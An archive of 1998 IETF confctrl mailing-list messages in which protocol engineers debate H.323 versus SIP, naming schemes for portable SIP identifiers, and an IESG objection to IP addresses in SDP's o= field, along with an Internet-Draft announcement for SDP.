Received: from muskie.dnrc.bell-labs.com (muskie.dnrc.bell-labs.com [135.180.144.94])
	by peerless.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id LAA28099;
	Fri, 23 Jan 1998 11:33:31 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id LAA13860; Fri, 23 Jan 1998 11:33:28 -0500 (EST)
Message-ID: <34C8C658.9980F72D@cs.columbia.edu>
Date: Fri, 23 Jan 1998 11:33:28 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
CC: Christian Huitema <huitema@bellcore.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: H.323
References: <2297.885565799@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <980123092251.ZM5453@seawind.bellcore.com>, Christian Huitema
typed:
> On the other hand, good quality transmission may require access to some
> premium backbones.  That access will very likely be gated.  The session
> control protocols will have to take this gating into account.

Indeed, that's one reason SIP has the notion of proxies and proxy
authentication. There may well be a mechanism where SIP picks up a magic
cookie from the gateway, which it then presents to RSVP (or enables some
kind of filter in a router) to gain access to the premium service.

From confctrl-owner  Fri Jan 23 08:35:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01999
	for confctrl-outgoing; Fri, 23 Jan 1998 08:35:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01994
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jan 1998 08:35:26 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA26677
	for <confctrl@ISI.EDU>; Fri, 23 Jan 1998 08:35:24 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA17653; Fri, 23 Jan 1998 11:35:08 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
cc: confctrl <confctrl@ISI.EDU>
Subject: Re: H.323 
In-reply-to: Your message of "Fri, 23 Jan 1998 13:20:04 GMT."
             <2075.885561604@cs.ucl.ac.uk> 
Date: Fri, 23 Jan 1998 11:35:08 -0500
Message-ID: <17651.885573308@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>ii) lookup user in directory - LDAP - get sip id (needed to get real
>"number portability", for sip ids ...can't just have
>j.smith@anyphone.org 
>since there's quite a few j.smiths...

Sure you can - but it's up to anyphone.org how they allocate SIP ids.
You still need LDAP or whatever to serve as a white pages, but it's
not needed for normal calls where you already have the SIP id from
their business card/web page/whatever.

I expect that there will be companies offering location independent
SIP ids in exactly the same way as the acm and a few other companies
offer email addresses that don't change when you change employer or
ISP.  They would issue a "moved temporarily" response to incoming
calls directing callers to your current provider, perhaps with a cache
lifetime of a few months.  Anyone who calls you regularly would cache
the response and not need to go via anyphone.org to call you.  If you
then moved unexpectedly, your old employer/ISP simply returns "non
known" and your SIP agent knows to refresh it's cache from
anyphone.org.

Of course all of this needs appropriate authentication, but the
problem seems tractable.

Cheers,
	Mark



From confctrl-owner  Fri Jan 23 08:47:40 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA02532
	for confctrl-outgoing; Fri, 23 Jan 1998 08:47:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA02519
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jan 1998 08:47:38 -0800 (PST)
Received: from beta.mcit.com (beta.mcit.com [199.249.19.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA27198;
	Fri, 23 Jan 1998 08:47:36 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
          by beta.mcit.com (8.8.8/) with ESMTP
	  id KAA00260; Fri, 23 Jan 1998 10:46:56 -0600 (CST)
Received: from imeid02.mcit.com.mci.com (imeid02.mcit.com [166.37.221.14])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id KAA09244; Fri, 23 Jan 1998 10:46:54 -0600 (CST)
Received: from sinnreich1 ([166.41.155.109]) by imeid02.mcit.com.mci.com
          (Intermail v3.1 117 234) with SMTP
          id <19980123164643.VVSA28757@[166.41.155.109]>;
          Fri, 23 Jan 1998 10:46:43 -0600
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: <owner-confctrl@ISI.EDU>, "Christian Huitema" <huitema@bellcore.com>,
        "Jon Crowcroft" <J.Crowcroft@cs.ucl.ac.uk>,
        "Michael Benson" <mbenson@gmu.edu>
Cc: "confctrl" <confctrl@ISI.EDU>
Subject: RE: H.323
Date: Fri, 23 Jan 1998 10:40:14 -0600
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
In-Reply-To: <980122093501.ZM4749@seawind.bellcore.com>
Message-Id: <19980123164643.VVSA28757@[166.41.155.109]>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Yet, the H.323 user will not listen and
>cannot speak until the H.245 negotiation has been completed -- on the
>Internet, this may take a second or two.

One can experience up to 10 seconds between two dial access point, using
well known H.323  conferencing PC clients. The call setup delay in some
instances is so big, that something in the application times out and crashes
the PC. Probably TCP retransmits. Makes one wonder why the trade media has
not published "test reports" given this juicy topic.

LAN access to the Internet gives better results.

Henry

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Christian Huitema
> Sent: Thursday, January 22, 1998 8:35 AM
> To: Jon Crowcroft; Michael Benson
> Cc: confctrl
> Subject: Re: H.323
>
>
> Jon is basically on target there.  The main problems with H.323 are:
>
> 1) That it is designed for interworking with H.320, i.e. videoconference
> with ISDN, which mandates a two phase conection set-up: first build the
> equivalent of an ISDN circuit, then negotiate how to mux channels on that
> circuit.
>
> 2) That it is top heavy, in fact a monument of complexity.
>
> The two phase set-up has very weird consequences when you try to
> interconnect an H.323 terminal with a plain telephone through an Internet
> telephony gateway.  Basically, at the end of the first phase (the
> H.225/Q.931 layer of H.323), the phone call is set and the phone user
> starts speaking and listening.  Yet, the H.323 user will not listen and
> cannot speak until the H.245 negotiation has been completed -- on the
> Internet, this may take a second or two.
>
> Implementors of H.323 are trying to solve that problem by proposing
> kludges.  One can for example start the negotiation of H.245 as soon as
> the phone "starts ringing", without actually waiting for completion of the
> Q.931 procedure.  This works if one solves the resulting synchronisation
> problem, and cuts delays significantly.  But there is no guarantee that
> all terminals support this non standard behavior.
>
> Another kludge is proposed in the revision of H.225, basically allowing
> Q.931 to carry a session description.  But then one will have to solve te
> interaction between version 2 and version 1, which is made hard by the
> next problem, the sheer complexity of the spec.
>
> Connection set-up in H.323 requires three successive exchanges, for
> H.225/RAS, H.225/Q.931 and H.245.  None of these protocols is simple.
>  H.225 includes 15 pages of ASN.1, plus inclusion by reference of the
> Q.931 specifications.  H.245 includes no less than 60 pages of ASN.1.
>  Even if you use an ASN.1 compiler (and you really have to), you are left
> with hundreds of parameters to set right if you want to interoperate.  The
> chances that a programmer goofs up here or there are enormous; the problem
> space is so large as to make it out of the reach of most testing
> techniques.
>
> Version 2 may include the faster call set-up procedure described above,
> but it also includes tons of extensions, in fact a whole new additional
> recommendation (H.450).  As with many ITU standards, the behemoth merely
> gets fatter as it ages.
>
> So, to conclude, I heartily support Jon's recommendation. We should
> proceed with "our own" and then specify interworking.
>
> --
> Christian Huitema
> ----------
> See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/
>


From confctrl-owner  Fri Jan 23 09:00:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA02915
	for confctrl-outgoing; Fri, 23 Jan 1998 09:00:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02910
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jan 1998 09:00:16 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA27824
	for <confctrl@ISI.EDU>; Fri, 23 Jan 1998 09:00:15 -0800 (PST)
Received: from shelf.dnrc.bell-labs.com ([135.180.160.19]) by dirty; Fri Jan 23 11:59:14 EST 1998
Received: from muskie.dnrc.bell-labs.com (muskie [135.180.144.94])
	by shelf.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id LAA09384;
	Fri, 23 Jan 1998 11:59:13 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id LAA14223; Fri, 23 Jan 1998 11:59:12 -0500 (EST)
Message-ID: <34C8CC60.96864FDF@cs.columbia.edu>
Date: Fri, 23 Jan 1998 11:59:12 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
CC: Christian Huitema <huitema@bellcore.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: H.323
References: <2075.885561604@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jon Crowcroft wrote among other interesting things:
> 

> ii) lookup user in directory - LDAP - get sip id (needed to get real
> "number portability", for sip ids ...can't just have
> j.smith@anyphone.org
> since there's quite a few j.smiths...

The naming issue for portable names presents an interesting issue. There
seem to be a number of alternatives:

0) Unlike the telephone, we can ignore organizations here, as they will
have a domain name of their own. Yahoo and kin provide reasonable
directory lookup capabilities.

1) Lookup via directory services. Not too useful in general, as you can
never be sure to actually find the right J.Smith unless the directory
contains a lot of personal information (workplace, age, gender, etc.).
It also takes far too long to scroll through the list of common names.
It also seems rare that you call an individual that you have not "met"
in some other form before: web page, business card, email, personal
address book, etc. Most of the directory assistance calls seem to be for
people you know that have moved to a new place (and businesses, but see
(0)).

2) Since SIP and maybe RAS allow the separation of the call routing from
name lookup, I can see lots of services similar to the free email
services. All the colleges will have names like
j.smith@alumni.columbia.edu (for a small fee, naturally); IEEE, AAA (the
American Automobile Club), fan clubs and who knows who else can do the
same. Actually, far cheaper than email forwarding services, since
there's no need to store much of anything. If this takes off, I'm sure
somebody will ask for a Sponsored-By SIP header, just like the email
footnotes found today at hotmail and such :-).

3) Some servers that I've worked on allow a more flexible naming, e.g.,
Jonathan.Smith@anyphone.org and then use local tactics to check if this
name is unambiguous and possibly return a list of choices. This has been
done for email by organizations like Bell Labs for a while. It has the
advantage of avoiding an additional lookup if there is no ambiguity.

4) There's always the possibility of using a personally, globally unique
identifier, but I don't think using a person's social security number
would fly with the general public.

5) There seems to be an unavoidable trade-off: You either have a central
registry (as for second-level domain names or 700/800/900 numbers) or
one level of indirection (somebody@registry). The first seems to be
difficult in a competitive environment and has scaling problems in terms
of directory lookup and distribution, the second means that you loose
your address if you don't like the current registry provider. Maybe all
of us will get somebody.nom DNS names, but it would make the DNS scaling
problems at least two orders of magnitude worse, as there will be very
little caching.

Given this, maybe parents will have an incentive to shy away from common
names. None of my kids need to worry about this :-)

Any other suggestions?

Henning

From confctrl-owner  Fri Jan 23 09:16:50 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA03533
	for confctrl-outgoing; Fri, 23 Jan 1998 09:16:50 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA03528
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jan 1998 09:16:48 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id JAA27957
	for <confctrl@ISI.EDU>; Fri, 23 Jan 1998 09:16:46 -0800 (PST)
Received: from thud.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.09288-0@bells.cs.ucl.ac.uk>; Fri, 23 Jan 1998 17:15:48 +0000
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Christian Huitema <huitema@bellcore.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: H.323
In-reply-to: Your message of "Fri, 23 Jan 1998 11:59:12 EST." <34C8CC60.96864FDF@cs.columbia.edu>
Date: Fri, 23 Jan 1998 17:15:44 +0000
Message-ID: <3134.885575744@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <34C8CC60.96864FDF@cs.columbia.edu>, Henning Schulzrinne typed:

 >>The naming issue for portable names presents an interesting issue. There
 >>seem to be a number of alternatives:
 
 >>0) Unlike the telephone, we can ignore organizations here, as they will
 >>have a domain name of their own. Yahoo and kin provide reasonable
 >>directory lookup capabilities.

right

 >>1) Lookup via directory services. Not too useful in general, as you can
 >>never be sure to actually find the right J.Smith unless the directory
 >>contains a lot of personal information (workplace, age, gender, etc.).
 >>It also takes far too long to scroll through the list of common names.
 >>It also seems rare that you call an individual that you have not "met"
 >>in some other form before: web page, business card, email, personal
 >>address book, etc. Most of the directory assistance calls seem to be for
people you know that have moved to a new place (and businesses, but see
 >>(0)).

true...

 >>2) Since SIP and maybe RAS allow the separation of the call routing from
 >>name lookup, I can see lots of services similar to the free email
 >>services. All the colleges will have names like
 >>j.smith@alumni.columbia.edu (for a small fee, naturally); IEEE, AAA (the
 >>American Automobile Club), fan clubs and who knows who else can do the
 >>same. Actually, far cheaper than email forwarding services, since
 >>there's no need to store much of anything. If this takes off, I'm sure
 >>somebody will ask for a Sponsored-By SIP header, just like the email
 >>footnotes found today at hotmail and such :-).

acm and other similar orgs do these mailbox name for life...seems like
rich pickings...

 >>3) Some servers that I've worked on allow a more flexible naming, e.g.,
 >>Jonathan.Smith@anyphone.org and then use local tactics to check if this
 >>name is unambiguous and possibly return a list of choices. This has been
 >>done for email by organizations like Bell Labs for a while. It has the
 >>advantage of avoiding an additional lookup if there is no ambiguity.

yes, a lot of UK simple directory/web based lookup systems, and
mailservers do something like this in an ad hoc way...

 >>4) There's always the possibility of using a personally, globally unique
 >>identifier, but I don't think using a person's social security number
 >>would fly with the general public.
 
yes......but if we all had registered iris/retinal/dna/fingerprint
scans, then that would give a big clue...

 >>5) There seems to be an unavoidable trade-off: You either have a central
 >>registry (as for second-level domain names or 700/800/900 numbers) or
 >>one level of indirection (somebody@registry). The first seems to be
 >>difficult in a competitive environment and has scaling problems in terms
 >>of directory lookup and distribution, the second means that you loose
 >>your address if you don't like the current registry provider. Maybe all
 >>of us will get somebody.nom DNS names, but it would make the DNS scaling
 >>problems at least two orders of magnitude worse, as there will be very
 >>little caching.

indeed....

 >>Given this, maybe parents will have an incentive to shy away from common
 >>names. None of my kids need to worry about this :-)

 >>Any other suggestions?

let the market deliver all of the above and the customers buy the
best/cheapest/most appropriate....

 cheers

   jon


From confctrl-owner  Tue Jan 27 09:33:25 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA01648
	for confctrl-outgoing; Tue, 27 Jan 1998 09:33:25 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA01643
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jan 1998 09:33:24 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA07960
	for <confctrl@isi.edu>; Tue, 27 Jan 1998 09:33:21 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA24793; Tue, 27 Jan 1998 12:33:19 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: SDP: comment from IESG
Date: Tue, 27 Jan 1998 12:33:19 -0500
Message-ID: <24791.885922399@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I just got the following comment back from a member of the IESG.  I
think the point is valid.  The IP address dates from when SDP was only
used for session announcements.  Today SDP is used in SIP and RTSP,
and so encountering a NAT is quite likely.  

Two questions:

1. Would anyone object to the text being changed to permit either an
address or a fully qualified domain name?  

2. Does anyone think that we should change the spec to permit only
fully qualified domain names?

Personally I prefer 1. Please let me know your opinion ASAP.

Cheers,
	Mark

------- Forwarded Message

Sorry, but I have to object to the IP address appearing in the o= field.
You can make a case that in the c= line that is the IP address taht will
appear in the packet, and people need it to find the session.  It is
somewhat NAT unfriendly, but I can live with it.
The o= line requires an IP address as a uniqueness generator.  It does not
permit a  DNS name.  It says it must be the "globally unique address where
the advertisement originates".  What if that does not exist?  I could
easily imagine organizing a session from behind a firewall, and then
arranging the for the right things to happen later.

No, I do not like firewalls/NATs.  But they are there, and stuff
should think about them.  Another way of thinking about this objection
is that protocols should not directly encode IP addresses unless they
need them.  The c= line needs it.  The o= line doesn't.

------- End of Forwarded Message


From confctrl-owner  Tue Jan 27 10:36:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA05755
	for confctrl-outgoing; Tue, 27 Jan 1998 10:36:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA05750
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jan 1998 10:36:22 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA13008;
	Tue, 27 Jan 1998 10:36:11 -0800 (PST)
Received: from Eng.Sun.COM (engmail1 [129.146.1.13]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id KAA00379; Tue, 27 Jan 1998 10:35:41 -0800
Received: from valathar.eng.sun.com (valathar.Eng.Sun.COM [129.146.122.176])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id KAA03539;
	Tue, 27 Jan 1998 10:35:37 -0800
Received: from valathar by valathar.eng.sun.com (SMI-8.6/SMI-SVR4)
	id KAA22268; Tue, 27 Jan 1998 10:35:03 -0800
Date: Tue, 27 Jan 1998 10:35:02 -0800 (PST)
From: "Michael F. Speer" <speer@valathar.Eng.Sun.COM>
Reply-To: "Michael F. Speer" <speer@valathar.Eng.Sun.COM>
Subject: Re: SDP: comment from IESG
To: Mark Handley <mjh@ISI.EDU>
Cc: confctrl@ISI.EDU
In-Reply-To: "Your message with ID" <24791.885922399@north.lcs.mit.edu>
Message-ID: <Roam.SIMC.2.0.6.885926102.17252.speer@valathar	>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark:

I prefer option #1, but with the appropriate text where option #1 might
break because of NAT translation.

Michael

> 
> I just got the following comment back from a member of the IESG.  I
> think the point is valid.  The IP address dates from when SDP was only
> used for session announcements.  Today SDP is used in SIP and RTSP,
> and so encountering a NAT is quite likely.  
> 
> Two questions:
> 
> 1. Would anyone object to the text being changed to permit either an
> address or a fully qualified domain name?  
> 
> 2. Does anyone think that we should change the spec to permit only
> fully qualified domain names?
> 
> Personally I prefer 1. Please let me know your opinion ASAP.
> 
> Cheers,
> 	Mark
> 
> ------- Forwarded Message
> 
> Sorry, but I have to object to the IP address appearing in the o= field.
> You can make a case that in the c= line that is the IP address taht will
> appear in the packet, and people need it to find the session.  It is
> somewhat NAT unfriendly, but I can live with it.
> The o= line requires an IP address as a uniqueness generator.  It does not
> permit a  DNS name.  It says it must be the "globally unique address where
> the advertisement originates".  What if that does not exist?  I could
> easily imagine organizing a session from behind a firewall, and then
> arranging the for the right things to happen later.
> 
> No, I do not like firewalls/NATs.  But they are there, and stuff
> should think about them.  Another way of thinking about this objection
> is that protocols should not directly encode IP addresses unless they
> need them.  The c= line needs it.  The o= line doesn't.
> 
> ------- End of Forwarded Message
> 



From confctrl-owner  Wed Jan 28 07:16:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA14760
	for confctrl-outgoing; Wed, 28 Jan 1998 07:16:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14755
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 07:16:11 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14488
	for <confctrl@isi.edu>; Wed, 28 Jan 1998 07:16:09 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id KAA29903;
	Wed, 28 Jan 1998 10:16:04 -0500 (EST)
Message-Id: <199801281516.KAA29903@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ns.ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-06.txt,.ps
Date: Wed, 28 Jan 1998 10:16:04 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control
Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: V. Jacobson, M. Handley
	Filename	: draft-ietf-mmusic-sdp-06.txt,.ps
	Pages		: 40
	Date		: 27-Jan-98
	
     This document defines the Session Description  Protocol,  SDP.
     SDP  is  intended  for  describing multimedia sessions for the
     purposes of  session  announcement,  session  invitation,  and
     other forms of multimedia session initiation.
 
 
This document is a product of the Multiparty Multimedia Session  Control
(MMUSIC) working group of the Internet Engineering Task Force.  Comments
are solicited and should be addressed to  the  working  group's  mailing
list at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-06.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp-06.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-06.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19980127161514.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-06.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-06.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980127161514.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Jan 28 09:21:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA25700
	for confctrl-outgoing; Wed, 28 Jan 1998 09:21:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA25695
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 09:21:36 -0800 (PST)
Received: from mh2.cts.com (root@mh2.cts.com [205.163.24.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA20459;
	Wed, 28 Jan 1998 09:21:26 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id JAA01077; Wed, 28 Jan 1998 09:21:25 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id JAA09941;
	Wed, 28 Jan 1998 09:21:22 -0800 (PST)
Received: from miked.miked.cts.com by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0xxbAl-0000XCC; Wed, 28 Jan 98 09:21 PST
Message-Id: <3.0.5.32.19980128092055.00823db0@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Wed, 28 Jan 1998 09:20:55 -0800
To: Mark Handley <mjh@ISI.EDU>
From: "Michael A. Dolan" <miked@tbt.com>
Subject: Re: SDP: comment from IESG
Cc: confctrl@ISI.EDU
In-Reply-To: <24791.885922399@north.lcs.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark-

This sounds a bit odd perhaps, but as a general rule, there is no DNS
service in our network that could resolve a domain name to an IP address.
So if a domain name is permitted, then in our network, the domain string
itself would have to be used in the uniqueness set, and nothing about the
spec should require it to be resolved into an IP address.

If domain names are REQUIRED, then this is a bit of an implementation
challenge in our network, as strings were not contemplated in the lookup
process, so proposal (2) is not very appealing at all.

I don't know if I get a vote, but proposal (1) would work fine, and by
convention we would probably continue to use IP addresses.

	Mike

At 12:33 PM 1/27/98 -0500, Mark Handley wrote:
>
>I just got the following comment back from a member of the IESG.  I
>think the point is valid.  The IP address dates from when SDP was only
>used for session announcements.  Today SDP is used in SIP and RTSP,
>and so encountering a NAT is quite likely.  
>
>Two questions:
>
>1. Would anyone object to the text being changed to permit either an
>address or a fully qualified domain name?  
>
>2. Does anyone think that we should change the spec to permit only
>fully qualified domain names?
>
>Personally I prefer 1. Please let me know your opinion ASAP.
>
>Cheers,
>	Mark
>
>------- Forwarded Message
>
>Sorry, but I have to object to the IP address appearing in the o= field.
>You can make a case that in the c= line that is the IP address taht will
>appear in the packet, and people need it to find the session.  It is
>somewhat NAT unfriendly, but I can live with it.
>The o= line requires an IP address as a uniqueness generator.  It does not
>permit a  DNS name.  It says it must be the "globally unique address where
>the advertisement originates".  What if that does not exist?  I could
>easily imagine organizing a session from behind a firewall, and then
>arranging the for the right things to happen later.
>
>No, I do not like firewalls/NATs.  But they are there, and stuff
>should think about them.  Another way of thinking about this objection
>is that protocols should not directly encode IP addresses unless they
>need them.  The c= line needs it.  The o= line doesn't.
>
>------- End of Forwarded Message
>
>
>
---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-8864
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Wed Jan 28 09:35:31 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28129
	for confctrl-outgoing; Wed, 28 Jan 1998 09:35:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28117
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jan 1998 09:35:28 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA21271
	for <confctrl@ISI.EDU>; Wed, 28 Jan 1998 09:35:27 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA28745; Wed, 28 Jan 1998 12:35:21 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
